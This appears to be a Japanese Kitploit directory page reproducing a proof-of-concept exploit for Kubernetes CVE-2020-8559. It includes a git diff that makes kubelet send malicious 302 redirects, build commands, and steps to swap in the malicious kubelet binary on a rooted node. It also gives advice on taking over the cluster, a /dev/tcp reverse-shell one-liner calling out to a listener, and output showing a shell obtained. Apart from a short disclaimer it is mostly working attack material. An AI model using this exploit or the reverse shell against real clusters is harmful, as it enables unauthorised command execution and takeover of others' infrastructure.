Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-8559 — これは、CVE-2020-8559 Kubernetes Vulnerability の PoC エクスプロイトです。 | Kitploit
ツール/GitHubGitHub/tdwyer/cve-2020-8559
特権昇格コンテナセキュリティ脆弱性分析エクスプロイト横移動ポストエクスプロイトペネトレーションテストクラウドセキュリティ
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

これは、CVE-2020-8559 Kubernetes Vulnerability の PoC エクスプロイトです。

リポジトリを見る
54146年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Kubernetes CVE-2020-8559 概念実証 PoC エクスプロイト

これはデモンストレーション目的のみです。管理操作を実行する許可があり、CVE-2020-8559 を悪用する許可のあるシステムでのみ使用してください。

これは CVE-2020-8559 の PoC です。この脆弱性により、Node で root を取得した攻撃者がクラスター内の他の任意の Container でコマンドを実行でき、攻撃者が Kubernetes Master Node を乗っ取ることができます。

この脆弱性は、Kubernetes API Server と kubectl コマンドが HTTP リダイレクトに従うこと、および Kubernetes API が API リクエストのすべてのコンポーネント (つまり Node 名、Pod 名、Container 名、さらにはコマンド) を URL に含めることに起因します。そのため、Kubelet プロセスが /exec、/attach、/portforward、または任意の resource: proxy アクションに対して、別の Node の別の Container で別のコマンドを実行するように指示する Location ヘッダー付きの HTTP 302 リダイレクトで応答すると、Kubernetes API Server または kubectl コマンドは Location ヘッダー内の内容に対して新しいリクエストを喜んで作成します。

PoC コードを含む Kubernetes リポジトリ

私のフォーク版の Kubernetes をダウンロードし、私のブランチに切り替えてエクスプロイトの kubelet バイナリをビルドできます。
このブランチは v1.15.9 タグに基づいています。

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

設定

この PoC はハードコードされた Location ヘッダー付きの HTTP 302 リダイレクトを送信するだけなので、kubernetes/pkg/kubelet/server/server.go を編集して host、namespace、pod、container、command を更新する必要があります

プロヒント: クラスター内のすべての Pod をリストします。次に、Kubernetes Master Node 上で実行されている Pod でコマンドを実行するように設定し、リバースシェルを開始してクラスターを乗っ取ります

ビルド

攻撃を設定した後、悪意のある kubelet バイナリをビルドします

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

攻撃

  1. Node で root を取得する
  2. 悪意のある kubelet バイナリを Node にコピーする
  3. kubelet プロセスを停止し、バイナリを悪意のあるバイナリで上書きする
    kubelet プロセスの PID を見つける
    ps aux |grep kubelet
    kubelet プロセスを強制終了し、悪意のあるバイナリを所定の場所にコピーする
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. kubelet プロセスを再度強制終了し、悪意のあるバイナリで再起動させる
    kubelet プロセスの PID を見つける
    ps aux |grep kubelet
    kubelet プロセスを強制終了する
    sudo kill $PID
  5. ローカルワークステーションで kubectl コマンドを使用する管理者を攻撃するように設定した場合、このコマンドは本来実行されるべきコンテナではなく、被害コンテナのホスト名を返すはずです
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

また、任意の Container からリバースシェルを開始することもできます

  1. ワークステーションで netcat をリスン状態で起動する
    nc -lv 4444
  2. 代わりにこのコマンドを使用しますが、これをエンコードする必要があります。正確な方法がわかり次第更新します。
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

成功 :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
ツールをダウンロード